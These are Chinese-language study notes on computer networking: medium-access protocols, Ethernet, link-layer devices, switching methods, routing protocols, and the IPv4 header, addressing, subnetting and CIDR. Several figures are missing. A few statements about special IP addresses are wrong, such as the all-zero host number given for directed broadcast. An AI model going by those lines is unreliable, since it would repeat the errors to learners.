
  • 纯 ALOHA 协议：随机重新发送，不按时间槽发送
  • 
  • 如果发生了冲突，则重新发送（接收方会检测是否发生了冲突，若发送方在一段时间内接受不到，则认定为冲突发生）
  • 分槽 ALOHA 协议：分时间内槽发送，所有用户在时间片开始的时候同步接入网络信道，若发生冲突，则必须等到下一个时间片开始的时候才发送
  • 相比纯 ALOHA：发生碰撞的概率更小，吞吐量和效率更高

• CSMA 协议 /Carrier Sense Multiple Access

  • CS 载波侦听：每一个站在发送数据前先检测是否有其他计算器在发送数据
  • MA 多点接入：多个计算器接入同一根总线
  • 坚持 CSMA /persistent CSMA：
  • 空闲则直接传输，无需等待；忙则一直监听，一空闲马上传输
  • 非坚持 CSMA /non-persistent CSMA：
  • 空闲则直接传输，无需等待；忙则等待一个随机的时间之后再监听
  • p - 坚持 CSMA /p-persistent CSMA：
  • 空闲则以 p 概率直接传输，概率 1-p 等到下一个时间槽开始的时候传输；
  • 忙则等待一个随机的时间之后再监听
  • 既能减少冲突，又可以减少空闲等待时间

• CSMA/CD / Carrier Sense Multiple Access / Collision Detection

  • 传播时延对载波侦听的影响：当出现数据碰撞的时候停止发送
  • 最迟检测碰撞的时间：2t，其中 t 为单程传播时延（2t = 碰撞窗口 / 冲突窗口 / 争用期）
  • 确认重传时机的细节：
  • 确认退避时间（2t）> 定义参数 $k = min{重传次数, 10}$
  • 从离散的整数集合 ${0, 1, 2, ..., 2^k -1}$选择一个数 r，退避时间即为 r 倍的基本退避时间
  • 当重传了 16次 仍然然不成功，说明网络太拥挤，抛弃。
  • 最小帧长问题：
  • 为了能使协议检测到碰撞的时候数据还没有传输完成
  • 帧的传输时延至少要两倍于信号在总线中的传输时延
    • 最小帧长 = 总线传播时延 数据传输速率 2 = 2t 数据传输速率*
    • 以太网规定的最短帧长为 64B，长度更小的会被认定为冲突帧。所以在发送前需要进行字节填充。

• CSMA/CA / Carrier Sense Multiple Access / Collision Avoidance

  • 主要用于无线局域网，无法做到全面检测，解决隐蔽站问题
  • 让周围的所有节点都能够知道某个信道要发送数据
  • 协议细节
  • 发送数据前，先检测信道是否空闲。发送RTS帧（Request to send），等待接收端发送CTS（Clear to send）
  • 发送端CTS后会预约信道，告诉其他信道自己要传送多少数据
  • 接收端收到数据后用 CRC 检验数据是否正确，正确则响应 ACK
  • 发送方收到 ACK 之后可以进行下一个帧的发送（二进制退避算法计算推迟时间）
  • 和 CSMA/CD 相比：
  • CSMA/CD 用于以太网，CSMA/CA 用于无线局域网
  • 载波检测不同

具体应用

局域网

• LAN Local Area Network
• 特点：覆盖地理范围小，使用专门的传输介质，通信延迟时间短，各站为平等关系，共享传输信道，各站平等关系，广播信道
• 拓补结构：
• 局域网介质访问控制的方法
  • 使用 CSMA/CD：适用于总线型局域网
  • 令牌总线：适用与总线型局域网，将总线型网络中的各个工作站按照顺序排列好发送
  • 令牌环：适用于环型局域网
• 局域网的分类：
  • 以太网、令牌环网、FDDI、ATM、WLAN
• 使用的标准：IEEE 802 标准，具有一系列的标准
  • IEEE 802.3 以太网
  • IEEE 802.5 令牌环网
  • IEEE 802.8 光纤技术咨询组，提供有关光纤联网的技术咨询
  • IEEE 802.11 WLAN
• MAC 子层和 LLC 子层：LLC负责识别网络协议，MAC子层负责数据帧的封装

⭐️ 以太网

• Ethernet，使用 CSMA/CD 技术，在各种技术中占统治性地位
  • 网络速率快，造价低廉
  • 提供无连接、不可靠的传输服务（尽最大努力交付，只实现无差错接受）
• 拓补结构：逻辑上总线型，物理上星型（由于集线器的引入）
• 适配器与 MAC 地址：
  • 计算机与外界局域网的连接通过通信适配器实现，每个适配器含有全球唯一的 MAC 地址
• 以太网 MAC 帧：（V2 格式）
  • 
  • 数据段含义：
  • 目的地址：如果是全 f 则为广播地址
  • 类型：数据的协议类型
  • 由于至少需要 64 字节，数据部分的长度在 46~1500 字节之间
  • FCS：循环冗余校验码

无线局域网

• 802.11 的 MAC 帧头格式：
  • 
• 基础服务集 BSS，拓展服务集 ESS （有限和无限服务集）
• 服务器标识符：WIFI 名称

链路层设备

• 网桥：根据 MAC 地址转发，确定将帧转发到哪一个端口
  • 透明网桥：不知道经过了哪个网桥，自学习
  • 源路由网桥：确定最佳路由放到帧的首部
• 交换机（多接口网桥）
  • 直通式交换机（可靠性低）/ 存储转发式交换机（可以检查正确）

Chapter 5 Network Layer

• 主要功能
  • 路由转发与分组转发、异构网络互连、拥塞控制
  • 拥塞控制：开环控制（静态） & 闭环控制（动态）

数据报文交换

电路交换

• 在打电话的时候使用的交换方式
• 建立连接 -- 通信 -- 释放连接
• 特点：使用多路复用划分电路，支持所有人能够同时使用资源
  • 注意电路交换中每一条线路是独占的形式
  • 优点：数据直接传输，会按照顺序发送，有序传输，且不会发生冲突，具有很强的实时性
• 缺点：建立时间差、线路使用效率低、灵活性差、没有差错控制能力

报文交换

• 报文发送到交换设备中（通常为交换机），经过交换机之间的沟通交付给目的主机
• 有点：无需提前建立连接，动态分配线路，线路可靠性高，利用率高，多目标服务
• 缺点：有存储转发时延、报文大小不定

分组交换

• 分组：把大的数据块分割为小的数据块
• 源主机报文切割为等大的分隔片段，依次发送到交换设备中
  • 
• 相对于报文交换，存储管理更容易，线路的可靠性也有所提高（报文变短）
• 缺点：乱序到达，需要增大排序开销
• 上述三种方式的比较：

数据报（因特网使用）

• 无连接服务
• 不事先为分组的传输确定路径，每个分组独立确定传输路径，不用的路由器传输路径不同
• 每个分组携带源地址和目的地址
  • 基于路由协议 / 算法建立转发表，检索转发表并选择线路

虚电路方式

• 连接服务
• 结合数据包和电路交换方式结合
• 协议细节：
  • 记录了一条源主机到目的主机的类似于电路的路径 **（逻辑连接）**，路径上的所有节点都要维持这条虚电路的建立，维持一张虚电路表
  • 数据分组传送，全双工通信（以分组的方式转发）
• 和数据报的对比：

⭐️ 路由算法

• 分类
  • 静态路由算法：管理员手动配置路由信息
  • 动态路由算法：彼此交换信息，按照路由算法算出表项
• 分层次的路由算法：使用自治系统处理（AS），由内部行政单位来管辖
  • 每个单位内部使用网关协议（如 RIP、OSPF）
  • 外部使用网关协议（BGP-4）进行交换

RIP 距离矢量路由

• 和相邻路由器交换信息（直接交换路由表）
  • 每隔 30s 都会刷新一次
• 一个示例：
  • 

链路状态路由

• OSPF：开放最短路径优先协议
  • 每隔 30min 刷新一次链路状态
  • 公开发表，不受某一个厂商控制
  • 和所有路由器发送信息，只发送临近的路由器的信息（对比 RIP，RIP 发送来自所有路由器的信息）
  • 使用广播的方式，和周围的路由器发送路由器的状态（和相邻路由器交换链路状态）
  • 只有当链路状态发生变化的时候泛洪发送信息
• 路由算法细节
  • 发现他的邻居节点并了解邻居节点的网络地址
  • 设置到每个邻居的成本 metric
  • 构造数据库描述分组，向邻站发送
  • 如果都有则不作处理，如果没有或者更新的则发送 LSR 请求更新信息
  • 收到 LSR 分组后发送 LSU 进行更新，并返回 LSAck 链路状态确认分组进行确认

逆向路径转发

• 所有路由器都能建立一个链路状态路由表

生成树算法

• 使用 sink tree 汇集树广播路由

边界网关 BGP

• 支持 CIDR，路由表包括网络前缀
• 用于和其他自治系统 AS 的邻站 BGP 发言人交换信息
  • 交换网络可达性的信息，即要到达某个网络索要经过的一系列 AS （用于层次路由）

IP / Internet Protocol

报文格式

• 
  • 报文中的单位：总长度单位 1B，片偏移长度 8B，首部长度单位 4B
  • 总长度：首部 + 数据（单位为 1B）
  • 可选字段的范围：0-40 字节，用来支持未知特性
  • 填充：补 0，保证首部长度为 4 的整数倍
  • 分组相关：
  • MTU 最大传送单元（以太网的 MTU 为 1500 字节）
  • 每一个片都使用同一个标识
  • 标志位：DF Don't Fragment；MF More Fragment
  • 片偏移：指出片在原分组中的相对位置，以 8 字节为单位（除了最后一个分片，每个分片都是 8 字节的整数）
    • 该值为每一个数据分片下限和元数据报 0 字节位的偏移
  • Eg.

IPv4 地址

• 给每一个主机一个标识符，= 网络号，主机号

• 分类的 IP 地址：

  • （现在已几乎不使用这种方式）主要使用子网划分和 CIDR

  • 

  • 一些特殊 IP 地址：

  • 全为 0，表示默认路由

  • 全为 1：本网广播地址

  • 网络号为特定值，主机号全 0，表示一个网络

  • 网络号为特定值，主机号全 0，表示一个直接广播地址，可以对特定主机进行广播

  • 主机号为 127：本地软件环回测试，环回地址

  • 私有 IP 地址：

  • 

  • 各类地址可以划分的网络个数：

  • 

  • 减 2：不能为全 0（本机地址），不能为全 1（广播地址）

• 网络地址转换 NAT

  • 在专用网和因特网上安装 NAT 软件，路由器至少应具有一个外部全球 IP 地址
  • 同一个专用网中的所有主机通过 NAT 路由器进行地址转换，转换成外部 IP 地址
  • 路由器存储有 NAT 转换表（WAN 到 LAN）

• 子网划分和子网掩码

  • 分类地址对 IP 地址浪费过多
  • 原理：将主机号分为子网号和主机号（子网号和主机号不能全 0），使用三级地址
  • 子网掩码和源地址作与运算为子网

• 无分类编址 CIDR

  • 同一个网络下可以使用不同的子网掩码

• 原理：使用二级地址：使用网络前缀 + 主机号

  • 记法：IP 地址后加上 /

• 融合了子网地址与子网掩码，方便子网划分

  • 构成超网：如果前缀相同，则可以将前缀缩短减少路由表的冗余
  • 在路由表中使用最长前缀匹配，即有多个网络号符合要求则匹配更精确的一个
  • 在 CIDER 技术中，子网号和前缀号都可以全 1 和全 0